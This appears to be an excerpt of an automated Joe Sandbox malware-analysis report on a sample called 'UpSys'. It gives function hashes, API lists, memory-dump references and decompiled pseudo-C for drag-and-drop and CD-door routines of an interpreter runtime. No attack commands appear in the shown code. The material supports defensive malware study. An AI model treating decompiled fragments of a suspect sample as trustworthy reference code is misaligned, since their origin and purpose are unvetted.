                                                                                                                                                                                                        • Opcode ID: c84a7192b981c3d61cbf28aa1506b12aaef68873839273283d51dacd9c0b09a6
                                                                                                                                                                                                        • Instruction ID: 97aeee1276622acf27e9aa08f06ee77d1e85fd304d9074ae3d8cf1c36a2ac4c9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c84a7192b981c3d61cbf28aa1506b12aaef68873839273283d51dacd9c0b09a6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5A8190322146A186EB329B22E844BEE77A1F38CFD5F500916FF4A07B65DB7DC5818740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140030088 Relevance: 24.3, APIs: 16, Instructions: 348COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • CompareStringW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001400305CA), ref: 00000001400300F5
                                                                                                                                                                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001400305CA), ref: 0000000140030109
                                                                                                                                                                                                        • GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001400305CA), ref: 000000014003020C
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CompareErrorInfoLastString
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3723911898-0
                                                                                                                                                                                                        • Opcode ID: 7cbf2ff692a86a74476bda2a5f1108cbbf134eede2c329cf5c2ed7ad82ba0dbd
                                                                                                                                                                                                        • Instruction ID: cb396c7552c5d5d537f6728cea28844704ce90b4a416f436021873e14b9088d0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7cbf2ff692a86a74476bda2a5f1108cbbf134eede2c329cf5c2ed7ad82ba0dbd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 86E1AE722062808AEB739F1794647EF2792B34D7D8F544625FB5A47BE5DB38CA84C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140083020 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 166windowfileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 51%
                                                                                                                                                                                                        			E00000001140083020(void* __ecx, void* __edx, void* __eflags, void* __rax, long long __rbx, long long __rcx, void* __rdx, void* __r8, void* __r15) {
				void* __rsi;
				void* __r13;
				void* __r14;
				void* _t69;
				signed long long _t72;
				int _t74;
				signed int _t111;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr* _t133;
				void* _t174;
				void* _t175;
				int _t177;
				long long _t180;
				void* _t182;
				void* _t183;
				intOrPtr _t199;
				int _t201;
				struct HWND__* _t203;
				signed long long _t204;
				void* _t206;

				 *((long long*)(_t182 + 0x10)) = __rbx;
				 *((long long*)(_t182 + 0x18)) = _t180;
				 *((long long*)(_t182 + 8)) = __rcx;
				_t183 = _t182 - 0x290;
				_t175 = __r8;
				_t124 = __rdx;
				 *(_t183 + 0x2d8) = E0000000114003DD90(_t69, __rax, __rdx, 0x400c6a00, __rdx);
				_t72 = E0000000114004DBF0(DragQueryPoint(_t206), __rdx, 0x400c6a00,  *((intOrPtr*)(_t183 + 0x70)), _t183 + 0x2d8);
				_t131 =  *0x400c6aa0; // 0x0
				_t204 = _t72;
				if (r13d == 0xffffffff) goto 0x400832e7;
				_t132 =  *0x400c6ac8; // 0x3264820
				_t133 =  *((intOrPtr*)( *((intOrPtr*)(_t132 + _t204 * 8))));
				if (( *(_t133 + 0xf6) & 0x00000008) == 0) goto 0x400832e7;
				_t178 =  *_t133;
				 *(_t183 + 0x2c0) =  *(_t183 + 0x2c0) & 0x00000000;
				SendMessageW(_t203, _t201);
				r9d = 0;
				r8d = 0;
				_t74 = DragQueryFileW(_t174, _t177);
				if (_t74 <= 0) goto 0x400831ab;
				r9d = 0x104;
				DragQueryFileW(??, ??, ??, ??);
				_t199 =  *0x400c6ac8; // 0x3264820
				_t122 =  *((intOrPtr*)(_t199 + _t204 * 8));
				if ( *((char*)( *((intOrPtr*)( *((intOrPtr*)(_t199 + _t204 * 8)))) + 0xf4)) != 2) goto 0x40083136;
				goto 0x40083144;
				_t24 = _t180 - 1; // -1
				if (0 - _t24 >= 0) goto 0x40083151;
				E00000001140016E20(_t183 + 0x80, "|");
				r8d = 1;
				SendMessageW(??, ??, ??, ??);
				SendMessageW(??, ??, ??, ??);
				r8d =  *(_t183 + 0x2c0);
				SendMessageW(??, ??, ??, ??);
				if (1 - _t74 < 0) goto 0x400830fd;
				r9d =  *(_t183 + 0x2c0);
				r8d =  *(_t183 + 0x48);
				SendMessageW(??, ??, ??, ??);
				DragFinish(??);
				 *(_t183 + 0x30) =  *(_t183 + 0x30) & 0x00000000;
				 *(_t183 + 0x40) =  *(_t183 + 0x40) & 0x00000000;
				 *(_t183 + 0x38) = 1;
				E00000001140007A40(_t124, _t183 + 0x30,  *_t133);
				 *(_t183 + 0x38) = 1;
				 *(_t183 + 0x30) = r13d;
				E00000001140001D30( *((intOrPtr*)(_t199 + _t204 * 8)), _t124, _t183 + 0x50, L"@GUI_DROPID");
				_t41 = _t175 + 1; // 0x2
				_t111 = _t41;
				r9d = 1;
				 *(_t183 + 0x20) = _t111;
				E00000001140002610(E00000001140082F90(_t111,  *((intOrPtr*)(_t199 + _t204 * 8)), 0x400c69c8, _t183 + 0x50,  *_t133, _t180, _t183 + 0x30, _t204,  *((intOrPtr*)( *((intOrPtr*)(_t131 +  *(_t183 + 0x2d8) * 8)))), __r15), 0x400c69c8, _t183 + 0x50);
				E00000001140007A40(0x400c69c8, _t183 + 0x30,  *_t133);
				 *(_t183 + 0x30) =  *(_t183 + 0x30) | 0xffffffff;
				 *(_t183 + 0x38) = 1;
				E00000001140001D30( *((intOrPtr*)(_t199 + _t204 * 8)), 0x400c69c8, _t183 + 0x50, L"@GUI_DRAGID");
				r9d = 1;
				 *(_t183 + 0x20) = _t111;
				E00000001140002610(E00000001140082F90(_t111,  *((intOrPtr*)(_t199 + _t204 * 8)), 0x400c69c8, _t183 + 0x50,  *_t133, _t180, _t183 + 0x30, _t204,  *((intOrPtr*)( *((intOrPtr*)(_t131 +  *(_t183 + 0x2d8) * 8)))), __r15), 0x400c69c8, _t183 + 0x50);
				E00000001140012D80(0xb1, _t122, 0x400c69c8, _t183 + 0x30, _t183 + 0x80, _t178, _t183 + 0x30);
				E00000001140001D30(_t122, 0x400c69c8, _t183 + 0x50, L"@GUI_DRAGFILE");
				r9d = 1;
				 *(_t183 + 0x20) = _t111;
				E00000001140002610(E00000001140082F90(_t111, _t122, 0x400c69c8, _t183 + 0x50, _t178, _t180, _t183 + 0x30, _t204,  *((intOrPtr*)( *((intOrPtr*)(_t131 +  *(_t183 + 0x2d8) * 8)))), __r15), 0x400c69c8, _t183 + 0x50);
				 *(_t183 + 0x20) =  *(_t183 + 0x20) & 0x00000000;
				_t64 = _t175 - 0xe; // -13
				r9d = 0;
				E000000011400608F0(_t64, _t122, 0x400c69c8, 0x400c6a00, _t180,  *((intOrPtr*)( *((intOrPtr*)(_t131 +  *(_t183 + 0x2d8) * 8)))));
				E00000001140007A40(0x400c69c8, _t183 + 0x30, _t178);
				goto 0x400832fb;
				r9d = 0;
				return DefDlgProcW(??, ??, ??, ??);
			}
























                                                                                                                                                                                                        0x140083020
                                                                                                                                                                                                        0x140083025
                                                                                                                                                                                                        0x14008302a
                                                                                                                                                                                                        0x140083037
                                                                                                                                                                                                        0x140083045
                                                                                                                                                                                                        0x140083048
                                                                                                                                                                                                        0x140083058
                                                                                                                                                                                                        0x140083079
                                                                                                                                                                                                        0x140083086
                                                                                                                                                                                                        0x140083091
                                                                                                                                                                                                        0x14008309b
                                                                                                                                                                                                        0x1400830a1
                                                                                                                                                                                                        0x1400830ac
                                                                                                                                                                                                        0x1400830b6
                                                                                                                                                                                                        0x1400830bc
                                                                                                                                                                                                        0x1400830bf
                                                                                                                                                                                                        0x1400830d9
                                                                                                                                                                                                        0x1400830df
                                                                                                                                                                                                        0x1400830e2
                                                                                                                                                                                                        0x1400830eb
                                                                                                                                                                                                        0x1400830f7
                                                                                                                                                                                                        0x140083105
                                                                                                                                                                                                        0x140083110
                                                                                                                                                                                                        0x140083116
                                                                                                                                                                                                        0x14008311d
                                                                                                                                                                                                        0x14008312b
                                                                                                                                                                                                        0x140083134
                                                                                                                                                                                                        0x140083136
                                                                                                                                                                                                        0x14008313b
                                                                                                                                                                                                        0x14008314c
                                                                                                                                                                                                        0x14008315e
                                                                                                                                                                                                        0x140083167
                                                                                                                                                                                                        0x140083182
                                                                                                                                                                                                        0x140083188
                                                                                                                                                                                                        0x14008319b
                                                                                                                                                                                                        0x1400831a5
                                                                                                                                                                                                        0x1400831ab
                                                                                                                                                                                                        0x1400831b3
                                                                                                                                                                                                        0x1400831c0
                                                                                                                                                                                                        0x1400831c9
                                                                                                                                                                                                        0x1400831cf
                                                                                                                                                                                                        0x1400831d4
                                                                                                                                                                                                        0x1400831e4
                                                                                                                                                                                                        0x1400831e8
                                                                                                                                                                                                        0x1400831f9
                                                                                                                                                                                                        0x1400831fd
                                                                                                                                                                                                        0x140083202
                                                                                                                                                                                                        0x14008320e
                                                                                                                                                                                                        0x14008320e
                                                                                                                                                                                                        0x14008321e
                                                                                                                                                                                                        0x140083221
                                                                                                                                                                                                        0x14008322f
                                                                                                                                                                                                        0x140083239
                                                                                                                                                                                                        0x14008323e
                                                                                                                                                                                                        0x14008324f
                                                                                                                                                                                                        0x140083253
                                                                                                                                                                                                        0x140083262
                                                                                                                                                                                                        0x140083268
                                                                                                                                                                                                        0x140083276
                                                                                                                                                                                                        0x140083288
                                                                                                                                                                                                        0x140083299
                                                                                                                                                                                                        0x1400832a8
                                                                                                                                                                                                        0x1400832ae
                                                                                                                                                                                                        0x1400832bc
                                                                                                                                                                                                        0x1400832c1
                                                                                                                                                                                                        0x1400832c6
                                                                                                                                                                                                        0x1400832d0
                                                                                                                                                                                                        0x1400832d6
                                                                                                                                                                                                        0x1400832e0
                                                                                                                                                                                                        0x1400832e5
                                                                                                                                                                                                        0x1400832e7
                                                                                                                                                                                                        0x140083316

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
                                                                                                                                                                                                        • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                                                                                                                                                        • API String ID: 221274066-3440237614
                                                                                                                                                                                                        • Opcode ID: 2a0fb7b14f7d68016f61de785e3fdc655a5451773f8eb42f9a4c336ca68b6ca8
                                                                                                                                                                                                        • Instruction ID: 2ea78dff51b8b6bdd97f40f8747facef773da50cde2645967b060f907ecbd1d3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2a0fb7b14f7d68016f61de785e3fdc655a5451773f8eb42f9a4c336ca68b6ca8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 13816172214A8196EB11DB16E494BDEB761F7C8BD4F805112FB4A43AB9CF7DC64ACB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003E2E0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 152windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                                                                                                                                                                        • String ID: $(
                                                                                                                                                                                                        • API String ID: 2598888154-55695022
                                                                                                                                                                                                        • Opcode ID: 327a1e5abe04c4d49516967eec5cafdf8e03b9ed0c68c3ae71de13478d62306d
                                                                                                                                                                                                        • Instruction ID: db6c7e816c3a642773a39ff678b419fa5df5d3299368e3a99f4d055c21070dd5
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 327a1e5abe04c4d49516967eec5cafdf8e03b9ed0c68c3ae71de13478d62306d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 215126362147848BD762CF26E444B9EB7A4F788BD8F54811AEF4A47B68DB38D941CB04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006F190 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 122COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 60%
                                                                                                                                                                                                        			E0000000114006F190(void* __ecx, void* __edx, void* __eflags, long long __rbx, void* __rdx, long long __rsi, void* __rbp, intOrPtr* __r8, void* __r9, long long _a8, long long _a16) {
				void* _v8;
				long long _v16;
				long long _v24;
				long long _v32;
				char _v40;
				long long _v48;
				long long _v56;
				long long _v64;
				char _v72;
				char _v104;
				void* __rdi;
				void* _t46;
				void* _t47;
				void* _t65;
				void* _t67;
				void* _t77;
				intOrPtr* _t85;
				long long _t86;
				intOrPtr* _t87;
				long long _t88;
				intOrPtr* _t133;

				_t137 = __rbp;
				_t77 = __eflags;
				_a8 = __rbx;
				_a16 = __rsi;
				_t85 =  *((intOrPtr*)(__rdx + 8));
				_t133 = __r8;
				_t90 = __rdx;
				_t47 = E00000001140011960(_t46,  *_t85);
				_t135 =  *_t85;
				_v32 =  *((intOrPtr*)(_t85 + 8));
				_t86 =  *((intOrPtr*)(_t85 + 0x18));
				 *_t86 =  *_t86 + 1;
				_v16 = _t86;
				_t87 =  *((intOrPtr*)(__rdx + 8));
				_v24 =  *((intOrPtr*)(_t85 + 0x10));
				_v40 =  *_t85;
				E00000001140011960(_t47,  *((intOrPtr*)(_t87 + 8)));
				_v72 =  *_t87;
				_v64 =  *((intOrPtr*)(_t87 + 8));
				_t88 =  *((intOrPtr*)(_t87 + 0x18));
				 *_t88 =  *_t88 + 1;
				_v56 =  *((intOrPtr*)(_t87 + 0x10));
				_v48 = _t88;
				E000000011400624F0();
				if (E000000011400526A0(_t77, _t88, __rdx,  &_v72, L"close",  *_t85) == 0) goto 0x4006f23d;
				E000000011400107E0(_t88,  &_v72, L"closed", _t133);
				if (E000000011400526A0(E000000011400526A0(_t77, _t88, __rdx,  &_v72, L"close",  *_t85), _t88, _t90,  &_v72, L"open",  *_t85) != 0) goto 0x4006f26b;
				if (E000000011400526A0(E000000011400526A0(E000000011400526A0(_t77, _t88, __rdx,  &_v72, L"close",  *_t85), _t88, _t90,  &_v72, L"open",  *_t85), _t88, _t90,  &_v72, L"closed", _t135) == 0) goto 0x4006f361;
				if (GetDriveTypeW(??) != 5) goto 0x4006f361;
				E00000001140001D30(_t88, _t90,  &_v104, L"open ");
				E00000001140004740( &_v104,  &_v40, __r9);
				E00000001140011830(_t90,  &_v104, L" type cdaudio alias cd wait", _t135, __rbp);
				r9d = 0;
				r8d = 0;
				if (mciSendStringW(??, ??, ??, ??) != 0) goto 0x4006f344;
				E000000011400107E0(_t88,  &_v104, L"set cd door ", _t133);
				E00000001140004740( &_v104,  &_v72, __r9);
				E00000001140011830(_t90,  &_v104, L" wait", _t135, _t137);
				r9d = 0;
				r8d = 0;
				if (mciSendStringW(??, ??, ??, ??) == 0) goto 0x4006f31e;
				E00000001140007A40(_t90, _t133, _t135);
				 *((intOrPtr*)(_t133 + 8)) = 1;
				 *_t133 = 0;
				E000000011400107E0(_t88,  &_v104, L"close cd wait", _t133);
				r9d = 0;
				r8d = 0;
				mciSendStringW(??, ??, ??, ??);
				goto 0x4006f355;
				_t65 = E00000001140007A40(_t90, _t133, _t135);
				 *((intOrPtr*)(_t133 + 8)) = 1;
				 *_t133 = 0;
				E00000001140002610(_t65, _t90,  &_v104);
				goto 0x4006f372;
				_t67 = E00000001140007A40(_t90, _t133, _t135);
				 *((intOrPtr*)(_t133 + 8)) = 1;
				 *_t133 = 0;
				E00000001140002610(E00000001140002610(_t67, _t90,  &_v72), _t90,  &_v40);
				return 0;
			}
























                                                                                                                                                                                                        0x14006f190
                                                                                                                                                                                                        0x14006f190
                                                                                                                                                                                                        0x14006f190
                                                                                                                                                                                                        0x14006f195
                                                                                                                                                                                                        0x14006f1a2
                                                                                                                                                                                                        0x14006f1a6
                                                                                                                                                                                                        0x14006f1a9
                                                                                                                                                                                                        0x14006f1af
                                                                                                                                                                                                        0x14006f1b8
                                                                                                                                                                                                        0x14006f1bb
                                                                                                                                                                                                        0x14006f1c4
                                                                                                                                                                                                        0x14006f1c8
                                                                                                                                                                                                        0x14006f1ca
                                                                                                                                                                                                        0x14006f1cf
                                                                                                                                                                                                        0x14006f1d3
                                                                                                                                                                                                        0x14006f1dc
                                                                                                                                                                                                        0x14006f1e1
                                                                                                                                                                                                        0x14006f1e9
                                                                                                                                                                                                        0x14006f1f2
                                                                                                                                                                                                        0x14006f1fb
                                                                                                                                                                                                        0x14006f1ff
                                                                                                                                                                                                        0x14006f201
                                                                                                                                                                                                        0x14006f20b
                                                                                                                                                                                                        0x14006f210
                                                                                                                                                                                                        0x14006f22a
                                                                                                                                                                                                        0x14006f238
                                                                                                                                                                                                        0x14006f250
                                                                                                                                                                                                        0x14006f265
                                                                                                                                                                                                        0x14006f277
                                                                                                                                                                                                        0x14006f289
                                                                                                                                                                                                        0x14006f298
                                                                                                                                                                                                        0x14006f2a9
                                                                                                                                                                                                        0x14006f2b3
                                                                                                                                                                                                        0x14006f2b6
                                                                                                                                                                                                        0x14006f2c3
                                                                                                                                                                                                        0x14006f2d1
                                                                                                                                                                                                        0x14006f2e0
                                                                                                                                                                                                        0x14006f2f1
                                                                                                                                                                                                        0x14006f2fb
                                                                                                                                                                                                        0x14006f2fe
                                                                                                                                                                                                        0x14006f30b
                                                                                                                                                                                                        0x14006f310
                                                                                                                                                                                                        0x14006f315
                                                                                                                                                                                                        0x14006f31c
                                                                                                                                                                                                        0x14006f32a
                                                                                                                                                                                                        0x14006f334
                                                                                                                                                                                                        0x14006f337
                                                                                                                                                                                                        0x14006f33c
                                                                                                                                                                                                        0x14006f342
                                                                                                                                                                                                        0x14006f347
                                                                                                                                                                                                        0x14006f34c
                                                                                                                                                                                                        0x14006f353
                                                                                                                                                                                                        0x14006f35a
                                                                                                                                                                                                        0x14006f35f
                                                                                                                                                                                                        0x14006f364
                                                                                                                                                                                                        0x14006f369
                                                                                                                                                                                                        0x14006f370
                                                                                                                                                                                                        0x14006f381
                                                                                                                                                                                                        0x14006f39c

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: SendString$DriveType
                                                                                                                                                                                                        • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                                                                                                                                                        • API String ID: 1032284112-4113822522
                                                                                                                                                                                                        • Opcode ID: 35a9969fcb7545a07430c13ea205d24d0c876678d824172c79089bdcc8f93698
                                                                                                                                                                                                        • Instruction ID: c2e38cd315ba7d5213d0dad71f2edcc60506819f272ee573f20a9e55b872b1c4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 35a9969fcb7545a07430c13ea205d24d0c876678d824172c79089bdcc8f93698
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EE511772214A8192EB11DB26E8903EE7361F7D97C4F904412FB8E47ABADF39C545CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003D040 Relevance: 21.1, APIs: 14, Instructions: 118filecommemoryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3969911579-0
                                                                                                                                                                                                        • Opcode ID: 6846de4195df12a8be0635fd16e8019e62812494f6c87e743784f5d69c5f0b00
                                                                                                                                                                                                        • Instruction ID: f3553f1d10448a2c68d0fee03547f8d22e44b0017d422a80d5e55aa996345fb9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6846de4195df12a8be0635fd16e8019e62812494f6c87e743784f5d69c5f0b00
                                                                                                                                                                                                        • Instruction Fuzzy Hash: AE51173A204B8086E751DF26F814B9A73A1F789BD8F514126EF9D43B64DF79C849CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140050690 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 69sleeptimewindowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Thread$Window$CurrentMessageProcessSendSleepTimetime$ActiveAttachDialogEnumFindInputWindows
                                                                                                                                                                                                        • String ID: BUTTON
                                                                                                                                                                                                        • API String ID: 1748615878-3405671355
                                                                                                                                                                                                        • Opcode ID: 9df50ef7ee44c5726eb73a91492b922615fbe0c877b9fd91df07509a39fa887f
                                                                                                                                                                                                        • Instruction ID: 70bb261706df18d481890dc61495f661ef0006f26e77a838a8a18eb201d3de9a
